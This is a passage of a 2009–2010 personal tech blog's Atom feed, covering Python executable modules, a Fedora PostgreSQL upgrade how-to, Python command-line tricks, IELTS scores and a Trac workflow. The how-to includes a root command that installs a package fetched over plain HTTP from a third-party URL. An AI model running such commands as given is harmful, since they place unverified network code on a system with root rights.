:0(chr)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br/&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;smtpd&lt;/b&gt;&lt;/div&gt;&lt;br/&gt;&lt;br /&gt;
&lt;div&gt;This module is useful for testing e-mail sending. It allows to run "dumb" SMTP server that receives the e-mails locally and displays them to the terminal, but does not actually send anything.&lt;/div&gt;&lt;br/&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ python -m smtpd -n -c DebuggingServer localhost:1025&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;br /&gt;
&lt;div&gt;This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all e-mail  headers and the e-mail body.&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;br /&gt;
&lt;div&gt;This brief post shows just a little part of the Python magic. Study, experiment, and let the Python force be with you!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3146849555593351336?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3146849555593351336/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/07/useful-python-executable-modules.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3146849555593351336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3146849555593351336'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/07/useful-python-executable-modules.html' title='Useful Python executable modules'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_b8spDATDZH0/TC2_TYXbTCI/AAAAAAAAAKk/IdE2CTploDk/s72-c/simplehttpserver.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-7037041874658663249</id><published>2010-06-17T21:07:00.000-07:00</published><updated>2010-06-17T21:07:09.049-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><title type='text'>Twitter account</title><content type='html'>I've set up the&amp;nbsp;&lt;a href="http://twitter.com/nuald"&gt;twitter account&lt;/a&gt;, so you can follow me. I don't have much time to post full blog messages here, but there are many issues and thoughts which I can share via Twitter. And anyway Twitter is a good networking, communication and news tool, so everybody can gain benefits from it. Stay in touch!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-7037041874658663249?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/7037041874658663249/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/06/twitter-account.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7037041874658663249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7037041874658663249'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/06/twitter-account.html' title='Twitter account'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3649714458215668625</id><published>2010-03-28T21:09:00.001-07:00</published><updated>2010-03-28T21:15:01.262-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><category scheme='http://www.blogger.com/atom/ns#' term='postgresql'/><title type='text'>Mini HOWTO: Upgrade PostgreSQL database in Fedora</title><content type='html'>The main problem in upgrading PostgreSQL databases is downgrading to previous version of the RDBMS, especially if you accidentally updates the software but forget to make the database dump. I have faced the same problem and find it's not so easy task. So let me show my solution for this: &lt;br /&gt;
&lt;ol&gt;&lt;li&gt;The problem: after OS upgrade I have PostgreSQL 8.4, and can't start it because the database format is incompatible and suited for PSQL 8.3 only. &lt;/li&gt;
&lt;li&gt;Install required YUM-configuration for the version of PosgreSQL you want to install, for my case PostgreSQL 8.3. There is an excellent&lt;a href="http://pgsqlrpms.org/"&gt;&lt;/a&gt; &lt;a href="http://yum.pgrpms.org/"&gt;http://yum.pgrpms.org/&lt;/a&gt; website, which provides required rpms:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo rpm -ivh http://yum.pgsqlrpms.org/reporpms/8.3/pgdg-fedora-8.3-7.noarch.rpm&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Remove the current PostgreSQL installation. It requires few steps (there is no easy way to delete postgresql-libs because there are too many dependencies):&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Get the list of postgresql packages:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ rpm -qa | grep postgresql&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;postgresql-server-8.4.3-1.fc12.i686&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;postgresql-8.4.3-1.fc12.i686&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;postgresql-libs-8.4.3-1.fc12.i686&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Remove these without checking dependencies:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo rpm -ev --nodeps postgresql-server-8.4.3-1.fc12.i686 postgresql-8.4.3-1.fc12.i686 postgresql-libs-8.4.3-1.fc12.i686&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;Now install required packages:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo yum install postgresql-server.i386 postgresql-libs-8.3.10-1PGDG.fc12.i386 --disableplugin=protectbase&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Start the server:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo /sbin/service postgresql start&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Make dump:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo -u postgres pg_dumpall &amp;gt; /tmp/pg.dump &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Stop the server:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo /sbin/service postgresql stop&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Move the old installation out of the way:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo mv /var/lib/pgsql /var/lib/pgsql.old&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Remove the server:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo yum remove postgresql-server.i386 postgresql-libs-8.3.10-1PGDG.fc12.i386 --disableplugin=protectbase&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Install the current server:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo yum install postgresql-server&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Initialize the new database:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo /sbin/service postgresql initdb&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Start the current server:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo /sbin/service postgresql start&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Restore database from the dump:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo -u postgres psql -d postgres -f /tmp/pg.dump&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;That's all - just few steps. Of course, it is not so easy, as might be, but it's much easier than compiling PostgreSQL from sources.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3649714458215668625?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3649714458215668625/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/03/mini-howto-upgrade-postgresql-database.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3649714458215668625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3649714458215668625'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/03/mini-howto-upgrade-postgresql-database.html' title='Mini HOWTO: Upgrade PostgreSQL database in Fedora'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-2407972873266646636</id><published>2010-02-18T03:44:00.002-08:00</published><updated>2010-02-18T03:48:12.511-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Using Python command line</title><content type='html'>Recently I had a task to write a command file for Windows that run a simple Python commands via &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python –c &lt;/span&gt;&lt;i style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;command&lt;/i&gt;. The &lt;a href="http://docs.python.org/using/cmdline.html"&gt;manual&lt;/a&gt; says that &lt;i&gt;command&lt;/i&gt; may contain multiple statements separated by newlines. Unfortunately, Windows console doesn’t allow it (and &lt;a href="http://my.opera.com/SirJeff/blog/show.dml/301370"&gt;Ctrl-T trick&lt;/a&gt; doesn’t help) so I had to find a workaround. The intuition and &lt;a href="http://docs.python.org/reference/compound_stmts.html"&gt;language reference&lt;/a&gt; helped me to find out that the simple statements can be separated by semicolons like in C/C++ (however, these languages allow to separate all the commands, not &lt;br /&gt;
the only simple ones).&lt;br /&gt;
&lt;br /&gt;
Let me give an example. Imagine that accidentally I want to know the error message corresponding to the error code 9. Of course, I can read manuals and documentation, but there is a more simple way:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;$ python -c "import os;print os.strerror(9)"
Bad file descriptor
&lt;/pre&gt;&lt;br /&gt;
But this "trick" works only with simple statements. It is not allowed to mix simple and compound statements, so the following command will not work: &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -c "import os;for i in range(42):print i,os.strerror(i)"&lt;/span&gt;. The only way to make it workable – put compound statement on the upper level (identical imports doesn't matter, the real import will be executed only once):&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;$ python -c "for i in range(43):import os;print i,os.strerror(i)"
0 No error
1 Operation not permitted
2 No such file or directory
3 No such process
4 Interrupted function call
5 Input/output error
6 No such device or address
7 Arg list too long
8 Exec format error
9 Bad file descriptor
10 No child processes
11 Resource temporarily unavailable
12 Not enough space
13 Permission denied
14 Bad address
15 Unknown error
16 Resource device
17 File exists
18 Improper link
19 No such device
20 Not a directory
21 Is a directory
22 Invalid argument
23 Too many open files in system
24 Too many open files
25 Inappropriate I/O control operation
26 Unknown error
27 File too large
28 No space left on device
29 Invalid seek
30 Read-only file system
31 Too many links
32 Broken pipe
33 Domain error
34 Result too large
35 Unknown error
36 Resource deadlock avoided
37 Unknown error
38 Filename too long
39 No locks available
40 Function not implemented
41 Directory not empty
42 Illegal byte sequence&amp;nbsp;&lt;/pre&gt;&lt;br /&gt;
Also I want to notice one more feature of Python command line – executing modules content. Python contains many useful modules and some of them are more useful than &lt;br /&gt;
someone can think – they can be executed. For example, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;SimpleHTTPServer &lt;/span&gt;allows you to share your current directory information and files via HTTP protocol:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...&amp;nbsp;&lt;/pre&gt;&lt;br /&gt;
I’ve gathered information about executable modules and want to share it with you:&lt;br /&gt;
&lt;br /&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Command&lt;/th&gt;&lt;th&gt;Functionality&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m site&lt;/td&gt;&lt;td&gt;Print some useful information (sys.path, USER_BASE, USER_SITE)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m StringIO&lt;/td&gt;&lt;td&gt;Read information about the file (default: /etc/passwd)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m calendar&lt;/td&gt;&lt;td&gt;Show the console calendar&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m zipfile&lt;/td&gt;&lt;td&gt;Zip/unzip analogue&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m platform&lt;/td&gt;&lt;td&gt;Print the platform information&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m mailcap&lt;/td&gt;&lt;td&gt;Show and execute MIME types handlers&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m binhex&lt;/td&gt;&lt;td&gt;Convert the binary file to hex&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m sgmllib&lt;/td&gt;&lt;td&gt;Parse the html file&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m htmllib&lt;/td&gt;&lt;td&gt;Show the html file in the text mode&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m webbrowser&lt;/td&gt;&lt;td&gt;Start the default web browser for the required URL&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m urllib&lt;/td&gt;&lt;td&gt;Print the content of the remote site&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m ftplib&lt;/td&gt;&lt;td&gt;Simple FTP client&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m poplib&lt;/td&gt;&lt;td&gt;Print information about the remote mailbox&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m smtpd&lt;/td&gt;&lt;td&gt;RFC 2821 SMTP proxy&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m telnetlib&lt;/td&gt;&lt;td&gt;Simple telnet client&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m SimpleHTTPServer&lt;/td&gt;&lt;td&gt;Simple HTTP server&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m CGIHTTPServer&lt;/td&gt;&lt;td&gt;CGI-savvy HTTP server&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m aifc&lt;/td&gt;&lt;td&gt;Print information about the .aiff file&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m sndhdr&lt;/td&gt;&lt;td&gt;Print information about sound files&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m locale&lt;/td&gt;&lt;td&gt;Print locale information&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m shlex&lt;/td&gt;&lt;td&gt;Split the file to tokens&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m pydoc&lt;/td&gt;&lt;td&gt;Python documentation tool&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m doctest&lt;/td&gt;&lt;td&gt;Doctest runner&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m unittest&lt;/td&gt;&lt;td&gt;Unittest runner&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m pdb&lt;/td&gt;&lt;td&gt;Python debugger&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m timeit&lt;/td&gt;&lt;td&gt;Tool for measuring execution time of small code snippets&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m trace&lt;/td&gt;&lt;td&gt;Trace Python program or function execution&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m code&lt;/td&gt;&lt;td&gt;Python interpreter emulator&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m tokenize&lt;/td&gt;&lt;td&gt;Split the file to tokens with detailed information&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m pyclbr&lt;/td&gt;&lt;td&gt;Describe Python module classes and methods&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m compileall&lt;/td&gt;&lt;td&gt;Compile all .py files to .pyc (.pyo) files&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m filecmp&lt;/td&gt;&lt;td&gt;Compare two directory&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m gzip&lt;/td&gt;&lt;td&gt;Gzip/gunzip analogue&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m base64&lt;/td&gt;&lt;td&gt;RFC 3548: Base16, Base32, Base64 data encoder&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m quopri&lt;/td&gt;&lt;td&gt;Convert to/from quoted-printable transport encoding as per RFC 1521&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m cProfile&lt;/td&gt;&lt;td&gt;Profile Python code via 'lsprof' profiler&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m profile&lt;/td&gt;&lt;td&gt;Profile Python code&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m uu&lt;/td&gt;&lt;td&gt;Implement UUencode and UUdecode functions&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m dis&lt;/td&gt;&lt;td&gt;Disassemble of Python byte code into mnemonics&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;python -m formatter&lt;/td&gt;&lt;td&gt;Generic output formatter&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Most useful modules will be described in my next article. Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-2407972873266646636?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/2407972873266646636/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/02/using-python-command-line.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2407972873266646636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2407972873266646636'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/02/using-python-command-line.html' title='Using Python command line'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-824059176459579473</id><published>2009-11-25T16:47:00.004-08:00</published><updated>2009-11-25T17:17:57.720-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='immigration'/><category scheme='http://www.blogger.com/atom/ns#' term='ielts'/><title type='text'>IELTS Results</title><content type='html'>My results:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Listening: 7.5&lt;/li&gt;
&lt;li&gt;Reading: 7.5&lt;/li&gt;
&lt;li&gt;Writing: 6.5&lt;/li&gt;
&lt;li&gt;Speaking: 6.5&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Overall Band Score: 7.0&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;a href="http://sergoutfitter.com/staff/polina-slesareva"&gt;My wife's&lt;/a&gt; results:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Listening: 7.0&lt;/li&gt;
&lt;li&gt;Reading: 7.0&lt;/li&gt;
&lt;li&gt;Writing: 6.5&lt;/li&gt;
&lt;li&gt;Speaking: 8.5&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Overall Band Score: 7.5&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;Results are acceptable in despite of the problems with the equipment during the exam, and that it was boring and tedious, especially writing section.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-824059176459579473?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/824059176459579473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/11/ielts-results.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/824059176459579473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/824059176459579473'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/11/ielts-results.html' title='IELTS Results'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1806229818280299366</id><published>2009-11-12T04:53:00.000-08:00</published><updated>2009-11-12T04:53:15.763-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trac'/><title type='text'>Trac Ticket Workflow</title><content type='html'>&lt;a href="http://trac.edgewall.org/"&gt;Trac&lt;/a&gt; is the wiki and issue tracking system that is the most used for my software development projects. Let me share few hints about its ticket workflow, especially about the statuses, the roles of the participants, and let me give an example of the workflow config. But if you are interested in other things like Trac plugins, source browser, customizing, etc, let me know.&lt;br /&gt;
&lt;br /&gt;
All the information given below regards the workflow described at the end of the article. The original Trac workflow is missed vital features like the support for ticket verifying, or the required ticket statuses range, so I do not use it in my projects.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The description of the main statuses:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; &lt;b&gt;new&lt;/b&gt; - the ticket has been created;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;in-progress&lt;/b&gt; - the developer has began to work with the ticket;&lt;/li&gt;
&lt;li&gt; &lt;b&gt;fixed&lt;/b&gt; - the ticket is fixed (the problem issued in the ticket is solved);&lt;/li&gt;
&lt;li&gt; &lt;b&gt;verified&lt;/b&gt; - the ticket is verified (tester or PM has verified that the ticket is fixed correctly);&lt;/li&gt;
&lt;li&gt; &lt;b&gt;closed&lt;/b&gt; - the ticket is closed (it's not required to care about the ticket more).&lt;/li&gt;
&lt;/ul&gt;Testers/PM have to do either of these things:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; add comments for the ticket (with some clarifications, explanations, etc);&lt;/li&gt;
&lt;li&gt; return the ticket into the work (via "ticket need to be re-worked" option) if they see that the bug/problem have not been fixed correctly;&lt;/li&gt;
&lt;li&gt; verify that the ticket is fixed correctly (via "mark as verified" option);&lt;/li&gt;
&lt;li&gt; create a new ticket with suitable description.&lt;/li&gt;
&lt;/ul&gt;If testers/PM return the ticket into the work, they should add some comments to help the developers understand that they has done incorrectly.&lt;br /&gt;
&lt;br /&gt;
Developers have to do either of these things:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;accept the ticket for fixing (in that ways others can see on which tickets the developer works on);&lt;/li&gt;
&lt;li&gt;set a suitable status for the ticket (&lt;b&gt;fixed&lt;/b&gt; if it has been fixed, &lt;b&gt;invalid&lt;/b&gt; if there are some problems preventing from the ticket been fixed, etc);&lt;/li&gt;
&lt;li&gt;reassign ticket to other participants (for example, to other developer who is responsible for the problem issued in the ticket).&lt;/li&gt;
&lt;/ul&gt;There can be other roles and actions, but it is not strict, and can vary in different cases. You can create your own workflow, which can be more suitable for your company or for the way you prefer to work.&lt;br /&gt;
&lt;br /&gt;
In conclusion, let me give an example of the Trac ticket workflow (it should be specified in the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;trac.ini&lt;/span&gt; file):&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="wiki"&gt;[ticket-workflow]
accept = new -&amp;gt; in-progress
accept.name = accept ticket
accept.operations = set_owner_to_self
accept.permissions = TICKET_MODIFY
leave = * -&amp;gt; *
